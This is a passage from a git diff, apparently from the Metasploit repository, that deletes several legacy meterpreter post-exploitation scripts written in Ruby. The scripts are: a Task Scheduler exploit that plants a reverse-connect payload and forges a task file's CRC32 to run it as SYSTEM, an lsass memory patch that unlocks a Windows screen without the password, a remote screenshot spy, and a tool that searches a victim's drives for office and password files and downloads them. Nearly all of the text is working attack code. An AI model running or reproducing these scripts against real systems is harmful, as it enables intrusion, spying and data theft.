rport = val.to_i
|
||||
end
|
||||
}
|
||||
|
||||
envs = session.sys.config.getenvs('SystemRoot', 'TEMP')
|
||||
sysdir = envs['SystemRoot']
|
||||
tmpdir = envs['TEMP']
|
||||
|
||||
# Must have at least one of -c or -u
|
||||
if not cmd and not upload_fn
|
||||
print_status("Using default reverse-connect meterpreter payload; -c or -u not specified")
|
||||
|
||||
# Get the exe payload.
|
||||
pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp")
|
||||
pay.datastore['LHOST'] = rhost
|
||||
pay.datastore['LPORT'] = rport
|
||||
raw = pay.generate
|
||||
exe = Msf::Util::EXE.to_win32pe(client.framework, raw)
|
||||
#and placing it on the target in %TEMP%
|
||||
tempexename = Rex::Text.rand_text_alpha(rand(8)+6)
|
||||
cmd = tmpdir + "\\" + tempexename + ".exe"
|
||||
print_status("Preparing connect back payload to host #{rhost} and port #{rport} at #{cmd}")
|
||||
fd = client.fs.file.new(cmd, "wb")
|
||||
fd.write(exe)
|
||||
fd.close
|
||||
|
||||
#get handler to be ready
|
||||
handler = client.framework.exploits.create("multi/handler")
|
||||
handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp"
|
||||
handler.datastore['LHOST'] = rhost
|
||||
handler.datastore['LPORT'] = rport
|
||||
handler.datastore['InitialAutoRunScript'] = "migrate -f"
|
||||
handler.datastore['ExitOnSession'] = false
|
||||
#start a handler to be ready
|
||||
handler.exploit_simple(
|
||||
'Payload' => handler.datastore['PAYLOAD'],
|
||||
'RunAsJob' => true
|
||||
)
|
||||
end
|
||||
|
||||
if cmd
|
||||
print_status("Using command: #{cmd}")
|
||||
end
|
||||
|
||||
#
|
||||
# Upload the payload command if needed
|
||||
#
|
||||
if upload_fn
|
||||
begin
|
||||
location = tmpdir.dup
|
||||
ext = upload_fn.split('.')
|
||||
if ext
|
||||
ext = ext.last.downcase
|
||||
if ext == "exe"
|
||||
location << "\\svhost#{rand(100)}.exe"
|
||||
else
|
||||
location << "\\TMP#{rand(100)}.#{ext}"
|
||||
end
|
||||
else
|
||||
location << "\\TMP#{rand(100)}"
|
||||
end
|
||||
|
||||
print_status("Uploading #{upload_fn} to #{location}....")
|
||||
session.fs.file.upload_file(location, upload_fn)
|
||||
print_status("Upload complete.")
|
||||
rescue ::Exception => e
|
||||
print_error("Error uploading file #{upload_fn}: #{e.class} #{e}")
|
||||
raise e
|
||||
end
|
||||
|
||||
cmd ||= location
|
||||
end
|
||||
|
||||
def crc32(data)
|
||||
table = Zlib.crc_table
|
||||
crc = 0xffffffff
|
||||
data.unpack('C*').each { |b|
|
||||
crc = table[(crc & 0xff) ^ b] ^ (crc >> 8)
|
||||
}
|
||||
crc
|
||||
end
|
||||
|
||||
def fix_crc32(data, old_crc)
|
||||
#
|
||||
# CRC32 stuff from ESET (presumably reversed from Stuxnet, which was presumably
|
||||
# reversed from Microsoft's code)
|
||||
#
|
||||
bwd_table = [
|
||||
0x00000000, 0xDB710641, 0x6D930AC3, 0xB6E20C82,
|
||||
0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904,
|
||||
0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF,
|
||||
0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449,
|
||||
0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618,
|
||||
0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E,
|
||||
0xB74777D7, 0x6C367196, 0xDAD47D14, 0x01A57B55,
|
||||
0x6C616251, 0xB7106410, 0x01F26892, 0xDA836ED3,
|
||||
0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7,
|
||||
0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71,
|
||||
0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA,
|
||||
0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C,
|
||||
0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D,
|
||||
0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB,
|
||||
0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820,
|
||||
0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6,
|
||||
0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68,
|
||||
0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xB2CF7FEE,
|
||||
0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725,
|
||||
0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3,
|
||||
0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2,
|
||||
0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574,
|
||||
0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF,
|
||||
0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839,
|
||||
0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066CD91D,
|
||||
0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B,
|
||||
0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450,
|
||||
0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6,
|
||||
0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387,
|
||||
0xB1D29A83, 0x6AA39CC2, 0xDC419040, 0x07309601,
|
||||
0x07C9A248, 0xDCB8A409, 0x6A5AA88B, 0xB12BAECA,
|
||||
0xDCEFB7CE, 0x079EB18F, 0xB17CBD0D, 0x6A0DBB4C,
|
||||
0x6567CB95, 0xBE16CDD4, 0x08F4C156, 0xD385C717,
|
||||
0xBE41DE13, 0x6530D852, 0xD3D2D4D0, 0x08A3D291,
|
||||
0x085AE6D8, 0xD32BE099, 0x65C9EC1B, 0xBEB8EA5A,
|
||||
0xD37CF35E, 0x080DF51F, 0xBEEFF99D, 0x659EFFDC,
|
||||
0xBF1D910F, 0x646C974E, 0xD28E9BCC, 0x09FF9D8D,
|
||||
0x643B8489, 0xBF4A82C8, 0x09A88E4A, 0xD2D9880B,
|
||||
0xD220BC42, 0x0951BA03, 0xBFB3B681, 0x64C2B0C0,
|
||||
0x0906A9C4, 0xD277AF85, 0x6495A307, 0xBFE4A546,
|
||||
0x0AE278E0, 0xD1937EA1, 0x67717223, 0xBC007462,
|
||||
0xD1C46D66, 0x0AB56B27, 0xBC5767A5, 0x672661E4,
|
||||
0x67DF55AD, 0xBCAE53EC, 0x0A4C5F6E, 0xD13D592F,
|
||||
0xBCF9402B, 0x6788466A, 0xD16A4AE8, 0x0A1B4CA9,
|
||||
0xD098227A, 0x0BE9243B, 0xBD0B28B9, 0x667A2EF8,
|
||||
0x0BBE37FC, 0xD0CF31BD, 0x662D3D3F, 0xBD5C3B7E,
|
||||
0xBDA50F37, 0x66D40976, 0xD03605F4, 0x0B4703B5,
|
||||
0x66831AB1, 0xBDF21CF0, 0x0B101072, 0xD0611633,
|
||||
0xBA6CAD7F, 0x611DAB3E, 0xD7FFA7BC, 0x0C8EA1FD,
|
||||
0x614AB8F9, 0xBA3BBEB8, 0x0CD9B23A, 0xD7A8B47B,
|
||||
0xD7518032, 0x0C208673, 0xBAC28AF1, 0x61B38CB0,
|
||||
0x0C7795B4, 0xD70693F5, 0x61E49F77, 0xBA959936,
|
||||
0x6016F7E5, 0xBB67F1A4, 0x0D85FD26, 0xD6F4FB67,
|
||||
0xBB30E263, 0x6041E422, 0xD6A3E8A0, 0x0DD2EEE1,
|
||||
0x0D2BDAA8, 0xD65ADCE9, 0x60B8D06B, 0xBBC9D62A,
|
||||
0xD60DCF2E, 0x0D7CC96F, 0xBB9EC5ED, 0x60EFC3AC,
|
||||
0xD5E91E0A, 0x0E98184B, 0xB87A14C9, 0x630B1288,
|
||||
0x0ECF0B8C, 0xD5BE0DCD, 0x635C014F, 0xB82D070E,
|
||||
0xB8D43347, 0x63A53506, 0xD5473984, 0x0E363FC5,
|
||||
0x63F226C1, 0xB8832080, 0x0E612C02, 0xD5102A43,
|
||||
0x0F934490, 0xD4E242D1, 0x62004E53, 0xB9714812,
|
||||
0xD4B55116, 0x0FC45757, 0xB9265BD5, 0x62575D94,
|
||||
0x62AE69DD, 0xB9DF6F9C, 0x0F3D631E, 0xD44C655F,
|
||||
0xB9887C5B, 0x62F97A1A, 0xD41B7698, 0x0F6A70D9
|
||||
]
|
||||
|
||||
crc = crc32(data[0, data.length - 12])
|
||||
data[-12, 4] = [crc].pack('V')
|
||||
|
||||
data[-12, 12].unpack('C*').reverse.each { |b|
|
||||
old_crc = ((old_crc << 8) ^ bwd_table[old_crc >> 24] ^ b) & 0xffffffff
|
||||
}
|
||||
data[-12, 4] = [old_crc].pack('V')
|
||||
end
|
||||
|
||||
def exec_schtasks(cmdline, purpose)
|
||||
lns = cmd_exec("cmd.exe /c " + cmdline + " && echo SCHELEVATOR")
|
||||
success = false
|
||||
lns.each_line { |ln|
|
||||
ln.chomp!
|
||||
if ln =~ /^SCHELEVATOR$/
|
||||
success = true
|
||||
else
|
||||
print_status(ln)
|
||||
end
|
||||
}
|
||||
raise "Unable to #{purpose}!" if not success
|
||||
end
|
||||
|
||||
|
||||
def read_task_file(taskname, taskfile)
|
||||
print_status("Reading the task file contents from #{taskfile}...")
|
||||
|
||||
# Can't read the file directly on 2008?
|
||||
content = ''
|
||||
fd = client.fs.file.new(taskfile, "rb")
|
||||
until fd.eof?
|
||||
content << fd.read
|
||||
end
|
||||
fd.close
|
||||
|
||||
content
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Create a new task to do our bidding, but make sure it doesn't run.
|
||||
#
|
||||
taskname ||= Rex::Text.rand_text_alphanumeric(8+rand(8))
|
||||
taskfile = "#{sysdir}\\system32\\tasks\\#{taskname}"
|
||||
|
||||
print_status("Creating task: #{taskname}")
|
||||
cmdline = "schtasks.exe /create /tn #{taskname} /tr \"#{cmd}\" /sc monthly /f"
|
||||
exec_schtasks(cmdline, "create the task")
|
||||
|
||||
#
|
||||
# Read the contents of the newly creates task file
|
||||
#
|
||||
content = read_task_file(taskname, taskfile)
|
||||
|
||||
#
|
||||
# Double-check that we got what we expect.
|
||||
#
|
||||
if content[0,2] != "\xff\xfe"
|
||||
#
|
||||
# Convert to unicode, since it isn't already
|
||||
#
|
||||
content = content.unpack('C*').pack('v*')
|
||||
else
|
||||
#
|
||||
# NOTE: we strip the BOM here to exclude it from the crc32 calculation
|
||||
#
|
||||
content = content[2,content.length]
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Record the crc32 for later calculations
|
||||
#
|
||||
old_crc32 = crc32(content)
|
||||
print_status("Original CRC32: 0x%x" % old_crc32)
|
||||
|
||||
#
|
||||
# Convert the file contents from unicode
|
||||
#
|
||||
content = content.unpack('v*').pack('C*')
|
||||
|
||||
#
|
||||
# Mangle the contents to now run with SYSTEM privileges
|
||||
#
|
||||
content.gsub!('LeastPrivilege', 'HighestAvailable')
|
||||
content.gsub!(/<UserId>.*<\/UserId>/, '<UserId>S-1-5-18</UserId>')
|
||||
content.gsub!(/<Author>.*<\/Author>/, '<Author>S-1-5-18</Author>')
|
||||
#content.gsub!('<LogonType>InteractiveToken</LogonType>', '<LogonType>Password</LogonType>')
|
||||
content.gsub!('Principal id="Author"', 'Principal id="LocalSystem"')
|
||||
content.gsub!('Actions Context="Author"', 'Actions Context="LocalSystem"')
|
||||
content << "<!-- ZZ -->"
|
||||
|
||||
#
|
||||
# Convert it back to unicode
|
||||
#
|
||||
content = Rex::Text.to_unicode(content)
|
||||
|
||||
#
|
||||
# Fix it so the CRC matches again
|
||||
#
|
||||
fix_crc32(content, old_crc32)
|
||||
new_crc32 = crc32(content)
|
||||
print_status("Final CRC32: 0x%x" % new_crc32)
|
||||
|
||||
#
|
||||
# Write the new content back
|
||||
#
|
||||
print_status("Writing our modified content back...")
|
||||
fd = client.fs.file.new(taskfile, "wb")
|
||||
fd.write "\xff\xfe" + content
|
||||
fd.close
|
||||
|
||||
#
|
||||
# Run the task :-)
|
||||
#
|
||||
print_status("Disabling the task...")
|
||||
exec_schtasks("schtasks.exe /change /tn #{taskname} /disable", "disable the task")
|
||||
|
||||
print_status("Enabling the task...")
|
||||
exec_schtasks("schtasks.exe /change /tn #{taskname} /enable", "enable the task")
|
||||
|
||||
print_status("Executing the task...")
|
||||
exec_schtasks("schtasks.exe /run /tn #{taskname}", "run the task")
|
||||
|
||||
|
||||
#
|
||||
# And delete it.
|
||||
#
|
||||
print_status("Deleting the task...")
|
||||
exec_schtasks("schtasks.exe /delete /f /tn #{taskname}", "delete the task")
|
|
@ -1,84 +0,0 @@
|
|||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
|
||||
#
|
||||
# Script to unlock a windows screen by L4teral <l4teral [4t] gmail com>
|
||||
# Needs system prvileges to run and known signatures for the target system.
|
||||
# This script patches msv1_0.dll loaded by lsass.exe
|
||||
#
|
||||
# Based on the winlockpwn tool released by Metlstorm: http://www.storm.net.nz/projects/16
|
||||
#
|
||||
|
||||
revert = false
|
||||
targets = [
|
||||
{ :sig => "8bff558bec83ec50a1", :sigoffset => 0x9927, :orig_code => "32c0", :patch => "b001", :patchoffset => 0x99cc, :os => /Windows XP.*Service Pack 2/ },
|
||||
{ :sig => "8bff558bec83ec50a1", :sigoffset => 0x981b, :orig_code => "32c0", :patch => "b001", :patchoffset => 0x98c0, :os => /Windows XP.*Service Pack 3/ },
|
||||
{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb76a, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb827, :os => /Windows Vista/ },
|
||||
{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb391, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb44e, :os => /Windows Vista/ },
|
||||
{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xacf6, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xadb3, :os => /Windows Vista/ },
|
||||
{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xe881, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xe93e, :os => /Windows 7/ }
|
||||
]
|
||||
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false,"Help menu." ],
|
||||
"-r" => [ false, "revert the patch (enable screen locking again)"]
|
||||
)
|
||||
opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-r"
|
||||
revert = true
|
||||
when "-h"
|
||||
print_line("")
|
||||
print_line("USAGE: run screen_unlock [-r]")
|
||||
print_line(opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
}
|
||||
def unsupported
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
unsupported if client.platform !~ /win32|win64/i
|
||||
os = client.sys.config.sysinfo['OS']
|
||||
|
||||
targets.each do |t|
|
||||
if os =~ t[:os]
|
||||
target = t
|
||||
print_status("OS '#{os}' found in known targets")
|
||||
pid = client.sys.process["lsass.exe"]
|
||||
p = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
||||
dllbase = p.image["msv1_0.dll"]
|
||||
|
||||
sig = p.memory.read(dllbase + target[:sigoffset], target[:sig].length / 2).unpack("H*")[0]
|
||||
if sig != target[:sig]
|
||||
print_error("found signature does not match")
|
||||
next
|
||||
end
|
||||
old_code = p.memory.read(dllbase + target[:patchoffset], target[:orig_code].length / 2).unpack("H*")[0]
|
||||
if !((old_code == target[:orig_code] && !revert) || (old_code == target[:patch] && revert))
|
||||
print_error("found code does not match")
|
||||
next
|
||||
end
|
||||
|
||||
print_status("patching...")
|
||||
new_code = revert ? target[:orig_code] : target[:patch]
|
||||
p.memory.write(dllbase + target[:patchoffset], [new_code].pack("H*"))
|
||||
|
||||
written_code = p.memory.read(dllbase + target[:patchoffset], target[:patch].length / 2).unpack("H*")[0]
|
||||
if ((written_code == target[:patch] && !revert) || (written_code == target[:orig_code] && revert))
|
||||
print_status("done!")
|
||||
raise Rex::Script::Completed
|
||||
else
|
||||
print_error("failed!")
|
||||
next
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
print_status("no working target found")
|
||||
|
|
@ -1,158 +0,0 @@
|
|||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
|
||||
# Author:Roni Bachar (@roni_bachar) roni.bachar.blog@gmail.com
|
||||
#
|
||||
# Thie script will open an interactive view of remote hosts
|
||||
# You will need firefox installed on your machine
|
||||
|
||||
|
||||
require 'fileutils'
|
||||
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-d" => [ true, "The Delay in seconds between each screenshot." ],
|
||||
"-t" => [ true, "The time to run in sec." ],
|
||||
"-s" => [ true, "The local system linux/windows" ]
|
||||
)
|
||||
|
||||
freq = 3
|
||||
count = 10
|
||||
file = "screenshot.jpeg"
|
||||
meter_type = client.platform
|
||||
localsys = "linux"
|
||||
|
||||
opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when '-d'
|
||||
freq = val.to_i
|
||||
when '-t'
|
||||
count = val.to_i
|
||||
when '-s'
|
||||
localsys = val.to_s
|
||||
|
||||
when "-h"
|
||||
print_line
|
||||
print_line "Screenspy v1.0"
|
||||
print_line "--------------"
|
||||
print_line
|
||||
print_line
|
||||
print_line "Usage: bgrun screenspy -t 20 -d 1 => will take interactive Screenshot every sec for 20 sec long."
|
||||
print_line "Usage: bgrun screenspy -t 60 -d 5 => will take interactive Screenshot every 5 sec for 1 min long."
|
||||
print_line "Usage: bgrun screenspy -s windows -d 1 -t 60 => will take interactive Screenshot every 1 sec for 1 min long, windows local mode."
|
||||
print_line
|
||||
print_line "Author:Roni Bachar (@roni_bachar) roni.bachar.blog@gmail.com"
|
||||
print_line(opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
}
|
||||
|
||||
# Wrong Meterpreter Version Message Function
|
||||
#-------------------------------------------------------------------------------
|
||||
def wrong_meter_version(meter = meter_type)
|
||||
print_error("#{meter} version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
# Check for Version of Meterpreter
|
||||
wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i
|
||||
session = client
|
||||
|
||||
|
||||
|
||||
host,port = session.session_host, session.session_port
|
||||
|
||||
print_status("New session on #{host}:#{port}...")
|
||||
|
||||
logs = ::File.join(Msf::Config.install_root, 'logs', 'screenshot', host)
|
||||
|
||||
outfile = ::File.join(Msf::Config.log_directory,file)
|
||||
|
||||
::FileUtils.mkdir_p(logs)
|
||||
|
||||
|
||||
begin
|
||||
process2mig = "explorer.exe"
|
||||
|
||||
# Actual migration
|
||||
mypid = session.sys.process.getpid
|
||||
session.sys.process.get_processes().each do |x|
|
||||
if (process2mig.index(x['name'].downcase) and x['pid'] != mypid)
|
||||
print_status("#{process2mig} Process found, migrating into #{x['pid']}")
|
||||
session.core.migrate(x['pid'].to_i)
|
||||
print_status("Migration Successful!!")
|
||||
end
|
||||
end
|
||||
rescue
|
||||
print_status("Failed to migrate process!")
|
||||
#next
|
||||
end
|
||||
|
||||
|
||||
begin
|
||||
session.core.use("espia")
|
||||
|
||||
|
||||
begin
|
||||
|
||||
data="<title>#{host}</title><img src='file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/screenshot.jpeg' width='500' height='500'><meta http-equiv='refresh' content='1'>"
|
||||
path1 = File.join(logs,"video.html")
|
||||
File.open(path1, 'w') do |f2|
|
||||
f2.puts(data)
|
||||
end
|
||||
|
||||
|
||||
if (localsys == "windows")
|
||||
|
||||
print_status("Runing in local mode => windows")
|
||||
print_status("Opening Interactive view...")
|
||||
localcmd="start firefox -width 530 -height 660 \"file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/video.html\""
|
||||
else
|
||||
print_status("Runing in local mode => Linux")
|
||||
print_status("Opening Interactive view...")
|
||||
localcmd="bash firefox -width 530 -height 660 \"file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/video.html\""
|
||||
end
|
||||
|
||||
system (localcmd)
|
||||
(1..count).each do |i|
|
||||
sleep(freq) if(i != 1)
|
||||
path = File.join(logs,"screenshot.jpeg")
|
||||
data = session.espia.espia_image_get_dev_screen
|
||||
|
||||
if(data)
|
||||
::File.open(path, 'wb') do |fd|
|
||||
fd.write(data)
|
||||
fd.close()
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Exception => e
|
||||
print_status("Interactive Screenshot Failed: #{e.class} #{e} #{e.backtrace}")
|
||||
end
|
||||
|
||||
print_status("The interactive Session ended...")
|
||||
data = <<-EOS
|
||||
<title>#{host} - Interactive Session ended</title>
|
||||
<img src='file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/screenshot.jpeg' width='500' height='500'>
|
||||
<script>alert('Interactive Session ended - Happy Hunting')</script>
|
||||
EOS
|
||||
File.open(path1, 'w') do |f2|
|
||||
f2.puts(data)
|
||||
end
|
||||
|
||||
rescue ::Exception => e
|
||||
print_status("Exception: #{e.class} #{e} #{e.backtrace}")
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
|
@ -1,107 +0,0 @@
|
|||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
## Meterpreter script that recursively search and download
|
||||
## files matching a given pattern
|
||||
## Provided by Nicob <nicob [at] nicob.net>
|
||||
|
||||
## == WARNING ==
|
||||
## As said by mmiller, this kind of script is slow and noisy :
|
||||
## http://www.metasploit.com/archive/framework/msg01670.html
|
||||
## However, it can sometimes save your ass ;-)
|
||||
## == WARNING ==
|
||||
|
||||
# Filters
|
||||
$filters = {
|
||||
'office' => '\.(doc|docx|ppt|pptx|pps|xls|xlsx|mdb|od.)$',
|
||||
'win9x' => '\.pwl$',
|
||||
'passwd' => '(pass|pwd)',
|
||||
}
|
||||
|
||||
@@opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false,"Help menu." ]
|
||||
)
|
||||
|
||||
def usage
|
||||
print_line "search_dwld -- recursively search for and download files matching a given pattern"
|
||||
print_line "USAGE: run search_dwld [base directory] [filter] [pattern]"
|
||||
print_line
|
||||
print_line "filter can be a defined pattern or 'free', in which case pattern must be given"
|
||||
print_line "Defined patterns:"
|
||||
print_line $filters.keys.sort.collect{|k| "\t#{k}"}.join("\n")
|
||||
print_line
|
||||
print_line "Examples:"
|
||||
print_line " run search_dwld"
|
||||
print_line " => recursively look for (MS|Open)Office in C:\\"
|
||||
print_line " run search_dwld %USERPROFILE% win9x"
|
||||
print_line " => recursively look for *.PWL files in the user home directory"
|
||||
print_line " run search_dwld E:\\\\ free '\.(jpg|png|gif)$'"
|
||||
print_line " => recursively look for pictures in the E: drive"
|
||||
print_line(@@opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
@@opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
usage
|
||||
end
|
||||
}
|
||||
|
||||
def scan(path)
|
||||
begin
|
||||
dirs = client.fs.dir.foreach(path)
|
||||
rescue ::Rex::Post::Meterpreter::RequestError => e
|
||||
print_error("Error scanning #{path}: #{$!}")
|
||||
return
|
||||
end
|
||||
|
||||
dirs.each {|x|
|
||||
next if x =~ /^(\.|\.\.)$/
|
||||
fullpath = path + '\\' + x
|
||||
|
||||
if client.fs.file.stat(fullpath).directory?
|
||||
scan(fullpath)
|
||||
elsif fullpath =~ /#{$motif}/i
|
||||
# Replace ':' or '%' or '\' by '_'
|
||||
dst = fullpath.tr_s(":|\%|\\", "_")
|
||||
dst = Rex::FileUtils.clean_path(::Dir.tmpdir + ::File::Separator + dst)
|
||||
print_line("Downloading '#{fullpath}' to '#{dst}'")
|
||||
client.fs.file.download_file(dst, fullpath)
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
#check for proper Meterpreter Platform
|
||||
def unsupported
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
|
||||
unsupported if client.platform !~ /win32|win64/i
|
||||
# Get arguments
|
||||
basedir = args[0] || "C:\\"
|
||||
filter = args[1] || "office"
|
||||
|
||||
# Set the regexp
|
||||
if filter == 'free'
|
||||
if args[2].nil?
|
||||
raise RuntimeError.new("free filter requires pattern argument")
|
||||
end
|
||||
$motif = args[2]
|
||||
else
|
||||
$motif = $filters[filter]
|
||||
end
|
||||
|
||||
if $motif.nil?
|
||||
raise RuntimeError.new("Unrecognized filter")
|
||||
end
|
||||
|
||||
# Search and download
|
||||
scan(basedir)
|
||||
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue